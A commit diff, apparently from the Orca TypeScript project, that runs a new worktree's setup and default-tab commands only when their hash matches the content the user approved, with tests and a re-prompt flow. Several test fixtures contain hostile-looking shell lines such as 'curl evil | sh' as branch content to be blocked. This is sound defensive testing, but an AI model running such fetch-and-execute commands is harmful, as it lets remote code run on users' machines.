fix(hooks): run worktree setup only when its content matches the approved script (#37977)

* fix(hooks): run worktree setup only when its content matches the approved script

Clients may send approvedSetupHash with a create. After git worktree add the
host hashes the created branch's shared setup and default-tab commands with
the prompt's function; on a difference it skips them and returns
setupTrustMismatch with the branch content. Creates without a hash (older
clients, CLI, mobile, orchestration) and older hosts behave as before.

* fix(hooks): send the approved setup hash and re-prompt on a changed branch

The composer and direct work-item creates send the hash of the setup content
the user approved (empty content included; none under repo-wide trust or
local-only policy). When the host reports different branch content, show a
setup-skipped toast and the existing trust prompt with that content.

* test(hooks): hash the prompt's and the host's orca.yaml from the same fixture

Covers CRLF and BOM primary checkouts, the plain-HTTP digest, the hash a
runtime host reports to remote and mobile clients, run-both and local-only
policies, creates without a hash, and pins the digest so a format change is
deliberate.

* style(worktrees): keep the creation flow under the line limit
This commit is contained in:
Neil
2026-11-06 14:58:05 -08:00
committed by GitHub
parent 4430743ab7
commit 71ebf751a3
29 changed files with 673 additions and 90 deletions
+2
View File
@@ -23,6 +23,8 @@
"../src/cli/runtime/runtime-access-denied.ts",
"../src/cli/runtime/runtime-pid-liveness.ts",
"../src/renderer/src/store/slices/worktrees/create/worktree-create-payload.ts",
"../src/renderer/src/lib/orca-hook-trust.ts",
"../src/renderer/src/lib/sha256.ts",
"../src/renderer/src/components/native-chat/native-chat-resolution-receipt.ts",
"../src/renderer/src/components/native-chat/structured-agent-question-projection.ts",
"../src/renderer/src/components/native-chat/native-chat-subagent-delegation.ts",
+14 -2
View File
@@ -14,6 +14,7 @@ import type {
CreateWorktreeArgs,
CreateWorktreeProgressEvent,
CreateWorktreeResult,
SetupTrustMismatch,
WorktreeCheckoutProgress,
WorktreeCreateBaseFallback
} from '../../shared/worktree/create-types'
@@ -62,6 +63,7 @@ import {
getEffectiveHooksFromConfig,
shouldRunSetupForCreate
} from '../workspace-hooks/effective-hook-config'
import { checkCreatedWorktreeSetupTrust } from '../workspace-hooks/created-worktree-setup-trust'
import { isTuiAgent } from '../../shared/agent-launch/catalog/tui-agent-config'
import { runWorktreeChangeInvalidators } from './worktrees/listing/worktree-change-invalidators'
@@ -1716,11 +1718,20 @@ async function performLocalWorktreeCreate(
// Created branch hooks are authoritative; benign divergence from primary must not disable setup (#1280).
let setup: CreateWorktreeResult['setup']
let defaultTabs: CreateWorktreeResult['defaultTabs']
let setupTrustMismatch: SetupTrustMismatch | undefined
await timing.time('prepare_setup', async () => {
const createdYamlHooks = loadHooks(worktreePath)
const createdEffectiveHooks = getEffectiveHooksFromConfig(repo, createdYamlHooks)
setupTrustMismatch = checkCreatedWorktreeSetupTrust(
repo,
createdYamlHooks,
args.setupDecision,
args.approvedSetupHash
)
// Only the approved content may run; the client re-prompts with the branch's.
const setupDecision = setupTrustMismatch ? 'skip' : args.setupDecision
try {
defaultTabs = getDefaultTabsLaunch(createdYamlHooks, repo, args.setupDecision)
defaultTabs = getDefaultTabsLaunch(createdYamlHooks, repo, setupDecision)
} catch (error) {
// Unapproved target-branch tab commands may create tabs but must not execute.
console.warn(`[hooks] default tab commands skipped for ${worktreePath}:`, error)
@@ -1732,7 +1743,7 @@ async function performLocalWorktreeCreate(
let shouldLaunchSetup = false
if (setupScript) {
try {
shouldLaunchSetup = shouldRunSetupForCreate(repo, args.setupDecision)
shouldLaunchSetup = shouldRunSetupForCreate(repo, setupDecision)
} catch (error) {
// Target branch can add unseen hooks; skip unapproved setup without failing the existing workspace.
console.warn(`[hooks] setup hook skipped for ${worktreePath}:`, error)
@@ -1824,6 +1835,7 @@ async function performLocalWorktreeCreate(
: {}),
...(stagedStartup.startupTerminal ? { startupTerminal: stagedStartup.startupTerminal } : {}),
...(baseFallback ? { baseFallback } : {}),
...(setupTrustMismatch ? { setupTrustMismatch } : {}),
...(createWarning ? { warning: createWarning } : {}),
timing: timing.finish()
}
@@ -1,5 +1,4 @@
import { getRepoDialableSshTargetId } from '../../../shared/execution-host'
import { createHash } from 'node:crypto'
import { windowsFsPath } from '../../wsl/filesystem/wsl-unc-drive-fs-path'
import { readFile } from 'node:fs/promises'
import type { Repo } from '../../../shared/repo-types'
@@ -18,6 +17,7 @@ import { isFolderRepo } from '../../../shared/repo-kind'
import { inspectSetupScriptImportCandidates } from '../../../shared/workspace-setup/setup-script-imports'
import { joinWorktreeRelativePath } from '../files/paths/runtime-relative-paths'
import { blockedWslDistroForPath } from '../../wsl/filesystem/wsl-unc-access-gate'
import { hashOrcaHookTrustContent } from '../../workspace-hooks/created-worktree-setup-trust'
type RuntimeRepositoryHooksCommandsDeps = {
resolveRepo: (selector: string) => Promise<Repo>
@@ -116,7 +116,7 @@ export class RuntimeRepositoryHooksCommands {
}
function hookTrust(scriptContent: string): { contentHash: string; scriptContent: string } {
return { contentHash: createHash('sha256').update(scriptContent).digest('hex'), scriptContent }
return { contentHash: hashOrcaHookTrustContent(scriptContent), scriptContent }
}
function archiveTrust(
@@ -93,6 +93,9 @@ export function buildManagedWorktreeCreateArgs(
defaultTarget: 'host'
}),
setupDecision: params.setupDecision,
...(params.approvedSetupHash !== undefined
? { approvedSetupHash: params.approvedSetupHash }
: {}),
...(params.setupOnly !== undefined ? { setupOnly: params.setupOnly } : {}),
createdWithAgent: params.createdWithAgent ?? params.startupAgent,
...provenance,
@@ -0,0 +1,88 @@
import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { createHash } from 'node:crypto'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
import type { Repo } from '../../../../shared/repo-types'
import { getDefaultSettings } from '../../../../shared/constants'
import { prepareRuntimeLocalWorktreeSetup } from './runtime-local-worktree-setup'
const runner = vi.hoisted(() => ({ createSetupRunnerScript: vi.fn() }))
vi.mock('../../../workspace-hooks/worktree-runner-script', () => ({
createSetupRunnerScript: runner.createSetupRunnerScript,
resolveSetupRunnerShell: () => undefined
}))
const PRIMARY_YAML = 'scripts:\n setup: pnpm install\n'
const PRIMARY_TRUST_CONTENT = 'pnpm install'
const sha256 = (text: string): string => createHash('sha256').update(text).digest('hex')
let worktreePath: string
const repo: Repo = { id: 'repo', path: '/primary', displayName: 'r', badgeColor: '', addedAt: 0 }
function prepare(approvedSetupHash?: string) {
return prepareRuntimeLocalWorktreeSetup({
request: {
repoSelector: 'id:repo',
name: 'w',
setupDecision: 'run',
...(approvedSetupHash !== undefined ? { approvedSetupHash } : {})
},
repo,
worktreePath,
settings: getDefaultSettings(tmpdir()),
runtimeTarget: undefined,
shouldUseSetupRunner: true
})
}
beforeEach(() => {
worktreePath = mkdtempSync(join(tmpdir(), 'orca-setup-trust-'))
runner.createSetupRunnerScript.mockReset().mockResolvedValue({
runnerScriptPath: join(worktreePath, 'runner.sh'),
envVars: {}
})
})
afterEach(() => {
rmSync(worktreePath, { recursive: true, force: true })
})
describe('created worktree setup trust', () => {
it('runs setup when the created branch matches the approved content', async () => {
writeFileSync(join(worktreePath, 'orca.yaml'), PRIMARY_YAML)
const result = await prepare(sha256(PRIMARY_TRUST_CONTENT))
expect(runner.createSetupRunnerScript).toHaveBeenCalledOnce()
expect(result.setup).toBeDefined()
expect(result.setupTrustMismatch).toBeUndefined()
})
it('skips setup and default tab commands and reports the branch content when it differs', async () => {
writeFileSync(
join(worktreePath, 'orca.yaml'),
'scripts:\n setup: curl evil | sh\ndefaultTabs:\n - title: dev\n command: pnpm dev\n'
)
const result = await prepare(sha256(PRIMARY_TRUST_CONTENT))
expect(runner.createSetupRunnerScript).not.toHaveBeenCalled()
expect(result.setup).toBeUndefined()
expect(result.defaultTabs?.runCommands).toBe(false)
expect(result.shouldRunSetup).toBe(false)
expect(result.warning).toBeUndefined()
const scriptContent = 'curl evil | sh\n\n# defaultTabs[1] dev\npnpm dev'
expect(result.setupTrustMismatch).toEqual({ contentHash: sha256(scriptContent), scriptContent })
})
it('skips setup a branch adds when the primary checkout had none', async () => {
writeFileSync(join(worktreePath, 'orca.yaml'), PRIMARY_YAML)
const result = await prepare(sha256(''))
expect(runner.createSetupRunnerScript).not.toHaveBeenCalled()
expect(result.setupTrustMismatch?.scriptContent).toBe(PRIMARY_TRUST_CONTENT)
})
it('runs the created branch setup as before when an older client sends no approval', async () => {
writeFileSync(join(worktreePath, 'orca.yaml'), 'scripts:\n setup: make bootstrap\n')
const result = await prepare()
expect(runner.createSetupRunnerScript).toHaveBeenCalledOnce()
expect(result.setupTrustMismatch).toBeUndefined()
})
})
@@ -1,4 +1,8 @@
import type { CreateWorktreeResult, SetupDecision } from '../../../../shared/worktree/create-types'
import type {
CreateWorktreeResult,
SetupDecision,
SetupTrustMismatch
} from '../../../../shared/worktree/create-types'
import type { Repo } from '../../../../shared/repo-types'
import { getEffectiveHooks, loadHooks, runHook } from '../../../workspace-hooks/hooks'
import {
@@ -9,6 +13,7 @@ import {
getDefaultTabsLaunch,
shouldRunSetupForCreate
} from '../../../workspace-hooks/effective-hook-config'
import { checkCreatedWorktreeSetupTrust } from '../../../workspace-hooks/created-worktree-setup-trust'
import type { RuntimeManagedWorktreeCreateArgs } from './runtime-managed-worktree-create-types'
import type { RuntimeStore } from '../../runtime-store-contract'
@@ -32,6 +37,7 @@ export async function prepareRuntimeLocalWorktreeSetup(args: {
defaultTabs?: CreateWorktreeResult['defaultTabs']
warning?: string
effectiveDecision: SetupDecision
setupTrustMismatch?: SetupTrustMismatch
hookFound: boolean
shouldRunSetup: boolean
didStartInProcessSetupHook: boolean
@@ -42,9 +48,17 @@ export async function prepareRuntimeLocalWorktreeSetup(args: {
const yamlHooks = loadHooks(worktreePath)
const hooks = getEffectiveHooks(repo, worktreePath)
const effectiveDecision = resolveRuntimeSetupDecision(request)
const setupTrustMismatch = checkCreatedWorktreeSetupTrust(
repo,
yamlHooks,
effectiveDecision,
request.approvedSetupHash
)
// Only the approved content may run; the client re-prompts with the branch's.
const runDecision = setupTrustMismatch ? 'skip' : effectiveDecision
let defaultTabs: CreateWorktreeResult['defaultTabs']
try {
defaultTabs = getDefaultTabsLaunch(yamlHooks, repo, effectiveDecision)
defaultTabs = getDefaultTabsLaunch(yamlHooks, repo, runDecision)
} catch (error) {
console.warn(`[hooks] default tab commands skipped for ${worktreePath}:`, error)
defaultTabs = yamlHooks?.defaultTabs
@@ -54,7 +68,7 @@ export async function prepareRuntimeLocalWorktreeSetup(args: {
let shouldRunSetup = false
if (hooks?.scripts.setup) {
try {
shouldRunSetup = shouldRunSetupForCreate(repo, effectiveDecision)
shouldRunSetup = shouldRunSetupForCreate(repo, runDecision)
} catch {
// A new branch may introduce an unapproved hook; worktree already exists, so skip/warn below rather than fail the create.
}
@@ -82,7 +96,7 @@ export async function prepareRuntimeLocalWorktreeSetup(args: {
}
})
}
} else if (hooks?.scripts.setup && effectiveDecision !== 'skip') {
} else if (hooks?.scripts.setup && runDecision !== 'skip') {
const skipped = `orca.yaml setup hook skipped for ${worktreePath}; pass --setup run to run it.`
warning = warning ? `${warning} Also ${skipped}` : skipped
console.warn(`[hooks] ${skipped}`)
@@ -92,8 +106,31 @@ export async function prepareRuntimeLocalWorktreeSetup(args: {
...(defaultTabs ? { defaultTabs } : {}),
...(warning ? { warning } : {}),
effectiveDecision,
...(setupTrustMismatch ? { setupTrustMismatch } : {}),
hookFound: Boolean(hooks?.scripts.setup),
shouldRunSetup,
didStartInProcessSetupHook
}
}
export function buildRuntimeSetupReceipt(
prepared: Awaited<ReturnType<typeof prepareRuntimeLocalWorktreeSetup>>,
didSpawnSetup: boolean,
terminalHandle: string | null | undefined
): NonNullable<CreateWorktreeResult['setupReceipt']> {
const { effectiveDecision, hookFound, shouldRunSetup, setup } = prepared
return {
requested: effectiveDecision,
hookFound,
startupPolicy: setup?.waitForAgentStartup ? 'wait-for-setup' : 'start-immediately',
state: !hookFound
? 'not_configured'
: effectiveDecision === 'skip' || !shouldRunSetup
? 'skipped'
: // The in-process setup hook already started; spawn_failed would strand retrying callers.
didSpawnSetup || prepared.didStartInProcessSetupHook
? 'running'
: 'spawn_failed',
...(terminalHandle ? { terminalHandle } : {})
}
}
@@ -60,6 +60,8 @@ export type RuntimeManagedWorktreeCreateArgs = {
runHooks?: boolean
activate?: boolean
setupDecision?: 'run' | 'skip' | 'inherit'
/** SHA-256 of the setup content the client approved; see CreateWorktreeArgs. */
approvedSetupHash?: string
setupOnly?: boolean
awaitTerminalProvisioning?: boolean
observeSetupCompletion?: boolean
@@ -12,7 +12,10 @@ import { SshHostNotServedError } from '../../../providers/ssh-host-not-served-er
import { createRuntimeFolderWorktree } from './runtime-folder-worktree-create'
import { createRuntimeLocalManagedWorktree } from './runtime-local-worktree-create'
import type { PreparationRearmHolder } from '../../../workspaces/creation/preparation/worktree-create-preparation'
import { prepareRuntimeLocalWorktreeSetup } from './runtime-local-worktree-setup'
import {
buildRuntimeSetupReceipt,
prepareRuntimeLocalWorktreeSetup
} from './runtime-local-worktree-setup'
import { invalidateAuthorizedRootsCacheForRepo } from '../../../ipc/worktrees/removal/registered-worktree-roots-scoped-invalidation'
import { startRuntimeLocalWorktreeTerminals } from '../startup/runtime-local-worktree-terminal-startup'
import { trackRuntimeWorkspaceCreate } from '../../../workspaces/creation/workspace-create-telemetry'
@@ -187,15 +190,7 @@ export abstract class OrcaRuntimeWithCreateManagedWorktree extends OrcaRuntimeWi
localCreate
const { lineage, workspaceLineage } = metadataResult
let {
setup,
defaultTabs,
warning,
effectiveDecision,
hookFound,
shouldRunSetup,
didStartInProcessSetupHook
} = await prepareRuntimeLocalWorktreeSetup({
const preparedSetup = await prepareRuntimeLocalWorktreeSetup({
request: args,
repo,
worktreePath,
@@ -208,6 +203,8 @@ export abstract class OrcaRuntimeWithCreateManagedWorktree extends OrcaRuntimeWi
warning:
[includeCopyWarning, addResult.upstreamWarning].filter(Boolean).join(' ') || undefined
})
const { setup, defaultTabs, setupTrustMismatch } = preparedSetup
let { warning } = preparedSetup
this.invalidateResolvedWorktreeCache()
this.invalidateWorktreeScanCacheForRepo(repo.id)
@@ -271,25 +268,15 @@ export abstract class OrcaRuntimeWithCreateManagedWorktree extends OrcaRuntimeWi
...(returnedSetup ? { setup: returnedSetup } : {}),
...(args.awaitTerminalProvisioning
? {
setupReceipt: {
requested: effectiveDecision,
hookFound,
startupPolicy: setup?.waitForAgentStartup
? ('wait-for-setup' as const)
: ('start-immediately' as const),
state: !hookFound
? ('not_configured' as const)
: effectiveDecision === 'skip' || !shouldRunSetup
? ('skipped' as const)
: // The in-process setup hook already started; spawn_failed would strand retrying callers.
didSpawnSetup || didStartInProcessSetupHook
? ('running' as const)
: ('spawn_failed' as const),
...(setupTerminalHandle ? { terminalHandle: setupTerminalHandle } : {})
}
setupReceipt: buildRuntimeSetupReceipt(
preparedSetup,
didSpawnSetup,
setupTerminalHandle
)
}
: {}),
...(defaultTabs ? { defaultTabs } : {}),
...(setupTrustMismatch ? { setupTrustMismatch } : {}),
...(warning ? { warning } : {}),
...(localCreate.baseFallback ? { baseFallback: localCreate.baseFallback } : {}),
...(addResult.localBaseRefRefresh
@@ -0,0 +1,202 @@
import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
import type { Repo } from '../../shared/repo-types'
import { getSetupTrustContent } from '../../shared/orca-hook-setup-config'
import { hashOrcaHookScript } from '../../renderer/src/lib/orca-hook-trust'
import { RuntimeRepositoryHooksCommands } from '../runtime/repositories/runtime-repository-hooks-commands'
import { loadHooks } from './hooks'
import {
checkCreatedWorktreeSetupTrust,
hashOrcaHookTrustContent
} from './created-worktree-setup-trust'
// The prompt hashes the primary checkout's orca.yaml; the host hashes the created worktree's.
// Same committed file => same hash, whatever the checkout did to line endings or a BOM.
const SETUP_YAML = [
'base: &base',
' title: Dev server',
'scripts:',
' setup: |',
' pnpm install ',
' \techo "tabbed"',
'',
' echo "ünïcødé ✓"',
'defaultTabs:',
' - <<: *base',
' command: >',
' pnpm dev',
' --port 3000',
' - title: Notes',
' - command: "printf \'%s\\n\' quoted"',
'issueCommand: gh issue view',
'scripts_unrelated: ignored',
''
].join('\n')
const dirs: string[] = []
function checkout(content: string): string {
const dir = mkdtempSync(join(tmpdir(), 'orca-setup-parity-'))
dirs.push(dir)
writeFileSync(join(dir, 'orca.yaml'), content)
return dir
}
const repo = (overrides: Partial<Repo> = {}): Repo => ({
id: 'repo',
path: '/primary',
displayName: 'repo',
badgeColor: '',
addedAt: 0,
...overrides
})
/** What the trust prompt approves: the renderer's hash of the primary checkout's content. */
async function promptHash(primaryPath: string): Promise<string> {
return hashOrcaHookScript(getSetupTrustContent(loadHooks(primaryPath)))
}
beforeEach(() => {
dirs.length = 0
})
afterEach(() => {
vi.unstubAllGlobals()
for (const dir of dirs) {
rmSync(dir, { recursive: true, force: true })
}
})
describe('approved setup hash parity between the trust prompt and the host', () => {
const variants: [string, (yaml: string) => string][] = [
['identical LF files', (yaml) => yaml],
['a CRLF primary checkout (Windows autocrlf)', (yaml) => yaml.replace(/\n/g, '\r\n')],
['a primary checkout saved with a UTF-8 BOM', (yaml) => `${yaml}`],
['a primary checkout with trailing blank lines', (yaml) => `${yaml}\n\n\n`]
]
it.each(variants)('treats %s as the approved content', async (_label, toPrimary) => {
const primary = checkout(toPrimary(SETUP_YAML))
const created = checkout(SETUP_YAML)
const approved = await promptHash(primary)
expect(checkCreatedWorktreeSetupTrust(repo(), loadHooks(created), 'run', approved)).toBe(
undefined
)
})
it('agrees with the pure-JS digest the plain-HTTP web client uses', async () => {
const primary = checkout(SETUP_YAML)
const subtleHash = await promptHash(primary)
vi.stubGlobal('crypto', undefined)
const fallbackHash = await promptHash(primary)
expect(fallbackHash).toBe(subtleHash)
expect(hashOrcaHookTrustContent(getSetupTrustContent(loadHooks(primary)))).toBe(subtleHash)
})
it('agrees with the hash a runtime host reports to remote and mobile clients', async () => {
const primary = checkout(SETUP_YAML)
const created = checkout(SETUP_YAML.replace(/\n/g, '\r\n'))
const hooks = await new RuntimeRepositoryHooksCommands({
resolveRepo: async () => repo({ path: primary })
}).getRepoHooks('id:repo')
expect(hooks.setupTrust?.contentHash).toBe(await promptHash(primary))
expect(
checkCreatedWorktreeSetupTrust(
repo(),
loadHooks(created),
'run',
hooks.setupTrust?.contentHash
)
).toBe(undefined)
})
it('ignores orca.yaml keys that are not setup or default tab commands', async () => {
const primary = checkout(SETUP_YAML)
const created = checkout(
SETUP_YAML.replace('issueCommand: gh issue view', 'issueCommand: gh issue view --web')
.replace(' - title: Notes', ' - title: Scratch')
.concat('scripts_extra: also ignored\n')
)
expect(
checkCreatedWorktreeSetupTrust(repo(), loadHooks(created), 'run', await promptHash(primary))
).toBe(undefined)
})
it('pins the digest so a format change, which would invalidate saved automation approvals, is deliberate', () => {
expect(getSetupTrustContent(loadHooks(checkout(SETUP_YAML)))).toBe(
[
'pnpm install \n\techo "tabbed"\n\necho "ünïcødé ✓"',
'# defaultTabs[1] Dev server\npnpm dev --port 3000',
// The double-quoted "\n" escape is a real newline in YAML, on both sides.
"# defaultTabs[3]\nprintf '%s\n' quoted"
].join('\n\n')
)
expect(hashOrcaHookTrustContent(getSetupTrustContent(loadHooks(checkout(SETUP_YAML))))).toBe(
PINNED_SETUP_HASH
)
})
it.each([
[
'a changed setup line',
(yaml: string) => yaml.replace('pnpm install', 'pnpm install && curl x')
],
['a changed default tab command', (yaml: string) => yaml.replace('--port 3000', '--port 4000')],
[
'an added default tab command',
(yaml: string) =>
yaml.replace(' - title: Notes', ' - title: Notes\n command: make serve')
]
])('still reports %s as a mismatch', async (_label, change) => {
const primary = checkout(SETUP_YAML)
const created = checkout(change(SETUP_YAML))
expect(
checkCreatedWorktreeSetupTrust(repo(), loadHooks(created), 'run', await promptHash(primary))
).toMatchObject({ scriptContent: expect.any(String) })
})
it('checks only the shared commands under run-both, as the prompt does', async () => {
const primary = checkout(SETUP_YAML)
const created = checkout(SETUP_YAML)
const runBoth = repo({
hookSettings: {
mode: 'auto',
commandSourcePolicy: 'run-both',
scripts: { setup: 'echo my own local step', archive: '' }
}
})
expect(
checkCreatedWorktreeSetupTrust(runBoth, loadHooks(created), 'run', await promptHash(primary))
).toBe(undefined)
})
it('never reports a mismatch under the local-only policy, where shared setup does not run', async () => {
const created = checkout(SETUP_YAML)
const localOnly = repo({
hookSettings: {
mode: 'auto',
commandSourcePolicy: 'local-only',
scripts: { setup: 'echo mine', archive: '' }
}
})
expect(
checkCreatedWorktreeSetupTrust(localOnly, loadHooks(created), 'run', 'not-the-hash')
).toBe(undefined)
})
it('leaves creates without an approval hash (older clients, CLI, stored decisions) unchanged', () => {
expect(
checkCreatedWorktreeSetupTrust(repo(), loadHooks(checkout(SETUP_YAML)), 'run', undefined)
).toBe(undefined)
})
})
const PINNED_SETUP_HASH = '112aac76dbc70758498c2b87a2dc42e77f7ce366a5b611749ec38b6757681593'
@@ -0,0 +1,44 @@
import { createHash } from 'node:crypto'
import { resolveHookCommandSourcePolicy } from '../../shared/hook-command-source-policy'
import { getSetupTrustContent } from '../../shared/orca-hook-setup-config'
import type { OrcaHooks } from '../../shared/orca-yaml-hook-types'
import type { Repo } from '../../shared/repo-types'
import type { SetupDecision, SetupTrustMismatch } from '../../shared/worktree/create-types'
import { shouldRunSetupForCreate } from './effective-hook-config'
/** Same digest as the renderer's hashOrcaHookScript, so host and prompt hashes compare. */
export function hashOrcaHookTrustContent(content: string): string {
return createHash('sha256').update(content.trim()).digest('hex')
}
/**
* Compare the created worktree's shared setup commands with what the client approved.
* Undefined means run as decided: no approval was sent (older client), nothing shared would run, or it matches.
*/
export function checkCreatedWorktreeSetupTrust(
repo: Repo,
createdYamlHooks: OrcaHooks | null,
decision: SetupDecision | undefined,
approvedSetupHash: string | undefined
): SetupTrustMismatch | undefined {
if (approvedSetupHash === undefined) {
return undefined
}
const policy = resolveHookCommandSourcePolicy(repo.hookSettings?.commandSourcePolicy, {
hasLocalScript: Boolean(repo.hookSettings?.scripts.setup?.trim())
})
const scriptContent = getSetupTrustContent(createdYamlHooks)
if (policy === 'local-only' || !scriptContent || !wouldRunSetup(repo, decision)) {
return undefined
}
const contentHash = hashOrcaHookTrustContent(scriptContent)
return contentHash === approvedSetupHash ? undefined : { contentHash, scriptContent }
}
function wouldRunSetup(repo: Repo, decision: SetupDecision | undefined): boolean {
try {
return shouldRunSetupForCreate(repo, decision)
} catch {
return false
}
}
@@ -65,7 +65,10 @@ vi.mock('@/lib/workspace/creation/setup/workspace-setup-preparation', async (imp
...(await importOriginal<Record<string, unknown>>()),
inspectRequiredWorkspaceSetup: async () => ({ kind: 'decided', decision: 'inherit' })
}))
vi.mock('@/lib/ensure-hooks-confirmed', () => ({ ensureHooksConfirmed: async () => 'run' }))
vi.mock('@/lib/ensure-hooks-confirmed', () => ({
ensureHooksConfirmed: async () => 'run',
ensureHooksApproved: async () => ({ decision: 'run' })
}))
vi.mock('@/lib/windows-terminal-capabilities', async (importOriginal) => ({
...(await importOriginal<Record<string, unknown>>()),
hasCachedWindowsTerminalCapabilities: () => true,
+3
View File
@@ -22432,6 +22432,9 @@
"alwaysForceDeleteBranchesTooltip": "Applies to branches kept after future workspace deletions."
},
"worktree": {
"setupTrust": {
"createdBranchSkipped": "Setup didn't run: this branch's orca.yaml setup commands differ from the ones you approved."
},
"nestedRemoval": {
"refreshFailed": "Could not refresh the workspace list",
"review": "Delete with nested worktrees…",
@@ -3,10 +3,13 @@ import type { AppState } from '@/store/types'
import type { PersistedTrustedOrcaHooks } from '../../../shared/orca-yaml-hook-types'
import {
__resetTrustPromptChainForTests,
confirmCreatedWorktreeSetupContent,
ensureHooksApproved,
ensureHooksConfirmed,
readAndConfirmRuntimeIssueCommand
} from './ensure-hooks-confirmed'
import { hashOrcaHookScript } from './orca-hook-trust'
import { createHash } from 'node:crypto'
import {
createCompatibleRuntimeStatusResponseIfNeeded,
type RuntimeEnvironmentCallRequest
@@ -465,4 +468,54 @@ describe('ensureHooksConfirmed', () => {
expect(decision).toBe('skip')
expect(pending).toHaveLength(0)
})
it('returns the approved setup hash the host recomputes with node crypto', async () => {
const { state, pending } = createTestState()
hooksCheckMock.mockResolvedValue({
hasHooks: true,
hooks: { scripts: { setup: 'pnpm install' } },
mayNeedUpdate: false
})
const promise = ensureHooksApproved(state, 'repo-1', 'setup')
await vi.waitFor(() => expect(pending).toHaveLength(1))
pending[0].resolve('run')
await expect(promise).resolves.toEqual({
decision: 'run',
approvedContentHash: createHash('sha256').update('pnpm install').digest('hex')
})
})
it('approves the empty setup content without prompting so a branch cannot add unseen scripts', async () => {
const { state, pending } = createTestState()
hooksCheckMock.mockResolvedValue({ hasHooks: false, hooks: null, mayNeedUpdate: false })
await expect(ensureHooksApproved(state, 'repo-1', 'setup')).resolves.toEqual({
decision: 'run',
approvedContentHash: await hashOrcaHookScript('')
})
expect(pending).toHaveLength(0)
})
it('sends no hash when the whole repo is trusted, so any branch content runs as before', async () => {
const { state } = createTestState()
state.trustedOrcaHooks['repo-1'] = { all: { approvedAt: 1 } }
await expect(ensureHooksApproved(state, 'repo-1', 'setup')).resolves.toEqual({
decision: 'run'
})
})
it('re-prompts with the created branch setup content that differs', async () => {
const { state, pending } = createTestState()
const promise = confirmCreatedWorktreeSetupContent(() => state, 'repo-1', 'curl evil | sh')
await vi.waitFor(() => expect(pending).toHaveLength(1))
expect(pending[0].data.scriptContent).toBe('curl evil | sh')
expect(pending[0].data.scriptKind).toBe('setup')
pending[0].resolve('skip')
await expect(promise).resolves.toEqual({ decision: 'skip' })
})
})
+46 -40
View File
@@ -4,6 +4,7 @@ import { resolveHookCommandSourcePolicy } from '../../../shared/hook-command-sou
import { getSetupTrustContent } from '../../../shared/orca-hook-setup-config'
import { canUseRepoWideTrust } from '../../../shared/orca-hook-trust-entries'
import { hashOrcaHookScript, type OrcaHookScriptKind } from './orca-hook-trust'
import { getVmRecipeTrustContent } from './vm-recipe-trust-content'
import {
checkRuntimeHooks,
readRuntimeIssueCommand,
@@ -33,28 +34,6 @@ export function __resetTrustPromptChainForTests(): void {
trustPromptChain = Promise.resolve()
}
function getVmRecipeTrustContent(yamlHooks: OrcaHooks | null): string {
return (yamlHooks?.environmentRecipes ?? [])
.map((recipe) =>
[
`# environmentRecipes.${recipe.id}`,
`name: ${recipe.name}`,
recipe.description ? `description: ${recipe.description}` : null,
`create: ${recipe.create}`,
recipe.suspend ? `suspend: ${recipe.suspend}` : null,
recipe.resume ? `resume: ${recipe.resume}` : null,
recipe.destroyDisabled
? 'destroy: none'
: recipe.destroy
? `destroy: ${recipe.destroy}`
: null
]
.filter((entry): entry is string => entry !== null)
.join('\n')
)
.join('\n\n')
}
function findHookRepo(state: AppState, repoId: string, hostId?: ExecutionHostId) {
return hostId
? state.repos.find((repo) => repo.id === repoId && getRepoExecutionHostId(repo) === hostId)
@@ -85,6 +64,12 @@ function hookRepoOwnerHostId(
return ownerHostId
}
/** A run carries the approved content's hash (empty content included) unless the whole repo is trusted. */
export type HookTrustApproval = { decision: 'run' | 'skip'; approvedContentHash?: string }
const SKIP: HookTrustApproval = { decision: 'skip' }
const RUN_ANY: HookTrustApproval = { decision: 'run' }
async function confirmScriptContent(
state: AppState,
repoId: string,
@@ -93,28 +78,29 @@ async function confirmScriptContent(
hostId?: ExecutionHostId,
isCancelled: () => boolean = NEVER_CANCEL_TRUST_CHECK,
signal?: AbortSignal
): Promise<'run' | 'skip'> {
): Promise<HookTrustApproval> {
if (isCancelled() || signal?.aborted) {
return 'skip'
return SKIP
}
if (canUseRepoWideTrust(state.trustedOrcaHooks, state.repos, repoId) || !scriptContent) {
return 'run'
if (canUseRepoWideTrust(state.trustedOrcaHooks, state.repos, repoId)) {
return RUN_ANY
}
const contentHash = await hashOrcaHookScript(scriptContent)
if (isCancelled() || signal?.aborted) {
return 'skip'
return SKIP
}
const approved: HookTrustApproval = { decision: 'run', approvedContentHash: contentHash }
const existingHash = state.trustedOrcaHooks[repoId]?.[scriptKind]?.contentHash
if (existingHash === contentHash) {
return 'run'
if (!scriptContent || existingHash === contentHash) {
return approved
}
const repo = findHookRepo(state, repoId, hostId)
const repoName = repo?.displayName ?? 'this repository'
const previouslyApproved = Boolean(existingHash)
return new Promise<'run' | 'skip'>((resolve) => {
const decision = await new Promise<'run' | 'skip'>((resolve) => {
let settled = false
const settle = (decision: 'run' | 'skip'): void => {
if (settled) {
@@ -145,6 +131,7 @@ async function confirmScriptContent(
[MODAL_DISMISSED_KEY]: () => settle('skip')
})
})
return decision === 'run' ? approved : SKIP
}
function getIssueCommandTrustContent(result: IssueCommandReadResult): string {
@@ -178,7 +165,7 @@ async function confirmIssueCommandReadResult(
if (result.status === 'error') {
return 'skip'
}
return confirmScriptContent(
const approval = await confirmScriptContent(
state,
repoId,
'issueCommand',
@@ -186,6 +173,7 @@ async function confirmIssueCommandReadResult(
hostId,
isCancelled
)
return approval.decision
}
export type ConfirmedRuntimeIssueCommand = {
@@ -234,6 +222,24 @@ export async function readAndConfirmRuntimeIssueCommand(
}
export async function ensureHooksConfirmed(
...args: Parameters<typeof ensureHooksApproved>
): Promise<'run' | 'skip'> {
return (await ensureHooksApproved(...args)).decision
}
/** Re-prompt with a created worktree's setup content that differs from what was approved. */
export function confirmCreatedWorktreeSetupContent(
getState: () => AppState,
repoId: string,
scriptContent: string,
hostId?: ExecutionHostId
): Promise<HookTrustApproval> {
return enqueueTrustPrompt(() =>
confirmScriptContent(getState(), repoId, 'setup', scriptContent, hostId)
)
}
export async function ensureHooksApproved(
// Read current trust when dequeued so earlier prompts’ decisions apply.
stateOrGetter: AppState | (() => AppState),
repoId: string,
@@ -242,14 +248,14 @@ export async function ensureHooksConfirmed(
